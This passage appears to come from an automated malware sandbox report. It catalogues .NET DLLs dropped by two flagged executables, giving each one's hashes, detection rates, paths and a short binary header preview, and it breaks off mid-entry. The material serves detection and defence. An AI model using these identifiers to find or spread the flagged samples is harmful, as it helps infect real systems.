Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LPClTLGW.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PAqlbTkE.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PNcvFrhU.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PRxDqpeG.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\QBgDqFdS.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\QxRtxTzz.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UFPCSltu.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UoIjEQAs.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WDgcDXBE.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YnWavzTi.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\atXTKUBx.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\bZrIRyWp.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\bhbbwhxv.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\c437d1a63a0fa3

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	109
Entropy (8bit):	5.4686545954948675
Encrypted:	false
SSDEEP:	3:ESNvmXcevLUUJX3eV3XBiVXfZsREwqUTnfZXC8JPAhjRV2v:ESN+MevLUUJsX0XhGEwvTn0uPAhuv
MD5:	BC974023350727B4567E964628BD89D4
SHA1:	534FA7056644853047B3266E5EDD047C4E8E08B1
SHA-256:	C4C2B2AF1E06B07AA10D54FA45D5D90E0FD268C8C0097CE0C686217838428AA6
SHA-512:	5A7252B5B03C511B46E7252B1F0944FB6224B17CC9B903EF3978B72ED67F65475DD876D30C9779FD307C27023011FE560287C6216ABB3F2DC84EEAC233543EAB
Malicious:	false
Preview:	c6w50MJqZPx96jEjJ9KWYnDpXTqAsfiXdl2RP5SY0RjS3iA8d8GZo3rz2GihfI84qagUqxUOqvfHDvvzTrhuYJtj3CYIXv3rTpldBpSpo2s2X

C:\Users\user\Desktop\fPizYvXj.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fTDHJsUV.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fbmaobua.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\gmAsnAGl.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hNSqvpFT.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\jKtyRpUO.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jgLrfuER.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lILYBbbX.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
